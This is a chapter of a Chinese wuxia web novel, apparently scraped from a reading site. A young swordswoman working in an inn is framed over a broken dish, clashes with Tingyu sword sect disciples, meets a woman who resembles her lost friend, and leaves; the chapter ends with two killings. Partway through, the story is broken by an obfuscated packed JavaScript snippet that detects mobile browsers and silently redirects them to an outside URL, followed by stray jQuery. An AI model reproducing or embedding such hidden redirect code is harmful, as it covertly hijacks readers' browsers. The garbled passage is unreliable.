29. 停雨剑派2
作品:《天下第一很会追妻|烟云破川》 从当晚开始,一连多日,酒楼生意骤兴。
翻台率上来了,烟云游工作量也翻倍,午后再没时间休息。
厨房里的老朱说,渚州城里的停雨剑派要收新弟子,所以才来这么多人。
烟云游纳闷问,停雨剑派很厉害吗?
老朱笑说,掌门李自远可是天下第二呢,而且本次收徒,该是停雨剑派最后一次招收第二代弟子,很多习武之人想成为李掌门亲传弟子,只有这次机会了。
烟云游摸摸自己的刀,剑派估计不收练刀的徒弟。
还是攒点钱再看,按她自己意愿,比起习武,她更想读书。
下午上客之前,烟云游看传菜口地上有菜汤污水痕迹,又重新扫了一遍。
因为客人多,李掌柜已经在柜台。
他看到烟云游,招招手:“小云,你过来。”
烟云游麻利跑过去。
李掌柜笑说:“你腿脚快,模样也好。从今天开始,就到前面跑堂吧!”
烟云游咧嘴一笑,对李掌柜揖手感谢:“那工钱……”
“下月先多30文,若干得好,后面再涨20文。”
250……
感觉不太好。
烟云游已经摸过这里的物价了,250文,只吃粗粮素菜,勉强可以活一个月,剩不下一个子儿。
她已经猜到李掌柜是个笑面奸商,本计划干到月底结了工钱即走。故而也不想撕破脸,含笑点点头,麻利干活。
最近晚上的客人上得早,习武之人喝酒的也多。
烟云游跑堂前,找碳给自己脸点了几个痦子,餐饮店打工经验足,她知道保护自己。
先来的一桌豪客预定了大菜,油渍渍热火火的,烟云游双手抓紧大钵脚下速度不减,往外传菜。
突然地下打滑,她两手狠狠抱稳瓷钵,顺身体倒势几个翻转,堪堪停在大堂中间。
有惊无险。
正大喘一口气,身旁一个人不着痕迹撞她怀里一下,那钵咔嚓从中间碎开,热油汤水哗啦啦流了她一身。
热油热汤烫得烟云游下意识甩手,碎裂的瓷钵和汤水掉在一旁客人桌子上,热油汤水飞溅到客人身上脸上。
烟云游傻眼了。
她从前不会武功,传菜上啤酒也没闯过这么大的祸。
待反应过来,忙不迭给被热汁溅到的客人道歉,一连串躬身赔罪,急急去找帕子给客人擦拭,头就没抬起来过。
客人未及说话,掌柜来了:“你怎么传菜的!?伤了各位客观要你好看!两位侠士,没事吧。”
桌上的一男一女大手一挥,毫不在意。
烟云游低眉顺眼跟着李掌柜的话,点头致歉。
以为就算完,旁边的人声音刺耳地发话了,
“掌柜的,这红焖八宝摔坏了可怎么好!”
“这一道菜光是原材料就值半两银子!”
“就算抛开不说价钱,这可是停雨剑派贵客早就预定好的,须得闷够四个时辰,哎呀!这!这钱赔了!今晚也没菜肴可以补上!?咱们这不得把停雨剑派得罪了!”
添油加醋煽风点火!
烟云游看着说话的人,张嫂子。
还好李掌柜稳得住:“张嫂,你把这里先收拾了!给两位侠士上一蝶凉菜赔罪。小云,你跟我来,去给停雨剑派贵客赔罪。”
烟云游安静垂头跟在李掌柜后面,路过张嫂子时,感受到她气息收紧。
停雨剑派在二楼包间,里头只有三个男子,尚未动筷,像是在等什么人。
李掌柜严厉斥责烟云游几句,两人一同对他们赔罪。
靠门坐着的人最年轻,看着比烟云游大不了多少,他突然站起来,伸手就往烟云游脸上摸,嬉皮笑脸地问:“你这跑堂的,脸上画猫儿是做了亏心事?莫不是偷吃了我们的菜,再谎称打碎了?”
烟云游不着痕迹后退两步,不让他摸到自己脸。
烟云游这一退,更引得那年轻男子兴趣。
他抬手把身旁椅子上的剑一把弹到手里,冷硬的剑鞘抵住烟云游后腰:“果然有猫腻,你这两步可是轻功不错!为什么躲在这里做跑堂?”
包间里另外两个男子登时站起拿着剑,包间门不知被哪门子邪风一刮关上了。
李掌柜和气生财,立刻祭出烟云游:“三位侠士,我这跑堂名叫烟云游,没有官府户籍,四个月前我见她孤女一个可怜才让她在这里有口饭吃。她是哪路英雄,我不知情啊!与我无关啊!”
……
烟云游低头翻了一个白眼,客气说:“打破菜,就说菜的事。”
她觉得,都是江湖人士,都是以武犯禁,他们是客人,也没资格就此能借题发挥。
有清朗的声音自正前方传来:“姑娘倒是个聪明人,我且问你,师出何门?哪国人士?为什么在这里跑堂。”
说话者是三人正中间那个人,长相儒雅方正,说话却不算客气。
烟云游冷哼一笑,闭口不言。
以剑抵着烟云游的年轻人是停雨剑派掌门小师弟王巳远,他手上使力,逼烟云游回答问题。
说话者可是他师兄李汾远,停雨剑派二掌门。
烟云游冷嘲他一眼,右手翻转,以手背轻拍王巳远拿着的剑。
王巳远惊觉一股力道振得他手麻,略一松手,宝剑飞出,打在包间墙上,而后掉在地上。
动作很快,屋里安静,只有剑发出的两声响。
别人动嘴,烟云游一般就算了。
但她从来遇强则强:如果第一次被人打就忍让,那就会永远被对方打。
况且那厮还是个男人,居然对小姑娘动手。
王巳远此时正年轻,眸子射出锋利愤怒的精光,一步上前就要朝烟云游攻来。
烟云游不退反近,摸着刀准备揍他,两人眼见就要打起来,李掌柜堆着苦笑,扶着门赶紧喊出声:“贵客别打!有话好好说。”
屋内纷争千钧一发之际,一阵风拂过,王巳远跌坐回椅子,李掌柜和烟云游被风拂得分立门的两边。
烟云游暗叹晦气,这是来高手了!
她咬牙,摸着自己的到,暗暗决心,任凭谁来都不能束手挨打。
思考间隙,高手进门,带起一阵风,说话声音醇厚动人:“巳远,不可以势凌人。”
烟云游打量,来者四人,说话的男子面容不过三四十,居然半头白发,面容四分英气,六分慈悲,望之心中便生敬意。
她一股决然打斗的戾气霎时间被化解大半。
半头白发男子身后紧跟着的年轻人,和烟云游起冲突的王巳远差不多大。
另有一男一女跟在最后,男的十分英挺,女的……女子的脸,烟云游十分熟悉,甚至亲近,是已故发小盼盼的脸。
烟云游望着女子,移不开眼,仔细打量,才惊觉她衣衫华贵,眉眼成熟,看着是一个成熟的大人了,她……是盼盼吗?
她颤着声音轻轻开口:“你……你是?我是云游,烟云游。”
女子惊疑:“哦,我叫何悲月。”
屋里其他人都朝何悲月拱手打招呼。
烟云游失语几瞬,又问:“你可还认得我?”
何悲月也不管其他人坐不坐,拉了椅子大剌剌坐下,看烟云游一眼:“自然认得。”
烟云游惊喜望着她,何悲月疑惑:“刚刚在楼下你才把汤撒我身上,哪有这么快忘了的!”
烟云游往她衣裙上仔细看,果然还有点点油渍。
意料之中,但仍感失望。
何悲月扫了一圈众人:“一盘菜的事,李掌门,你们门人别闹了,人跑堂的还是个小姑娘呢。”
烟云游复又盯着何悲月开口:“你几岁了?”
何悲月这次倒是饶有兴致盯着烟云游看,天下之大,跑堂的小姑娘有点身手不足为奇,奇在她居然没听过何悲月的名头,又对自己一脸倾慕之相。
何悲月笑道:“二十一。”
烟云游没想到看着二十好几的何悲月,居然才二十一,心下惊吓,转而又注意到何悲月的笑颜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432739|184201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她真心夸赞:“你真好看。”
何悲月微微一笑,烟云游挪不开眼,笑起来更像盼盼了!
李掌柜见包间来人之后气氛缓和,赶紧轻咳一声,对众英雄陪笑,表示再送一个菜,红焖八宝待明日做好送到停雨剑派。
烟云游闻言,抿嘴一笑对何悲月说:“你明日也在吗?”
何悲月点头。
烟云游想了想,从自己破旧的衣服里掏出包得好好的那枚金锭递给何悲月:“给你衣服弄脏了我很抱歉,这个给你买一身新衣服,如果你想吃红焖八宝,厨师做好了我给你送来。”
何悲月惊讶了。
这个姑娘灵动双眸与满脸黑点本就违和,知她或许容貌迤逦怕招祸伪装了。
但何悲月没想到看着穷酸的她,随便出手就是一个金锭。
何悲月真对她有点兴趣了:“你为何如此?”
烟云游老实道:“我有一青梅姊妹,长得十分像你。赠你一身新衣,聊慰心中思念。”说着有些情绪上头,烟云游狠狠忍住。
何悲月坦然接过:“我在渚州三日,你若想见我,就到停雨剑派。”
烟云游笑着点头。
其他人在何悲月、李自远坐下后,已经老实围坐在桌子边。
两个姑娘这么说话,一屋男子面面相觑不好插话,只有何悲月身边那个英挺的男子,盯着那枚金锭多看了好几眼。
李掌柜见话说完,打眼色示意烟云游,陪着小心退出。
刚出门,烟云游耳力好,听到里面有一道轻声呵斥:“汾远,巳远,天下之大,两国争战,小姑娘若不是生计所迫,谁愿意来跑堂?剑是君子之器,以后不要再这么用剑。”
是那头发都白了的掌门,李自远的声音。
下了楼,李掌柜放烟云游去忙,只嘱咐她脚下仔细。
烟云游以为这茬儿就这么过去,哪知晚间打烊,李掌柜才发难。
李掌柜还是堆笑,只是看着更像皮笑肉不笑。
他说:“我这酒楼小,用不了你这江湖侠士,小云,明日一早你就走吧。”
烟云游心里已经猜到了,她客气地问:“掌柜的,工钱今晚可以结给我吗?”
李掌柜神情一变:“那般金贵的菜被你打烂了,没叫你再赔钱已经不错了!”
烟云游看着一旁幸灾乐祸的人,把她拉出来:“掌柜的,今晚那地你是看着我擦过的,本不会滑倒。我手脚稳,菜也端得稳当,即使滑倒菜也不会出事,是她搞的鬼!”
她拉的人,是张嫂。
李掌柜脸上一抽:“让你到前台跑堂,还是人家张嫂举荐的,你自己干不好还赖她!?”
烟云游心下极明白,地上有人倒了菜汤害她滑倒,盛菜的钵也不知是什么尖锐器物巧劲敲破,肯定是张嫂搞的。
只是烟云游没料到,到前面跑堂居然是张嫂举荐的,明明背后骂她,她也算了。
为什么还要这么拐着弯陷害自己?
烟云游弄不懂,也就不纠缠,这样的事太多,她狠狠捏张嫂的手:“我不借题发挥,也不问你为什么!只是李掌柜要赔钱,可以赔我这个月的月钱。但你欠我的,用你这个月月钱抵扣。”
典型的学院派讲道理。
张嫂子刚想撒泼不干,烟云游从袍下拔刀出鞘:“别吵吵!给钱!”
李掌柜怕给小年轻逼急了真下手,脏了他酒楼,赶紧出言劝慰。
烟云游推他一掌:“算她工钱,结给我。”
李掌柜点头称是,大事化小,借花送佛,把钱结给烟云游。
烟云游所有家当都在身上,推开张嫂子,对同屋林花儿一拱手,潇洒离开酒楼。
渚州有的是桥,当夜她随便找了一个桥墩子凑活过夜,冷醒两三次,最后抱着自己腿儿熬到天亮,才想起昨夜忙得没吃饭。
月明星稀,吉祥酒楼一个黑影落地。
两道极轻极轻的慌乱气息之后,李掌柜和张嫂子死于非命,胸膛前各留一道斩痕,看着像是刚猛刀法所致。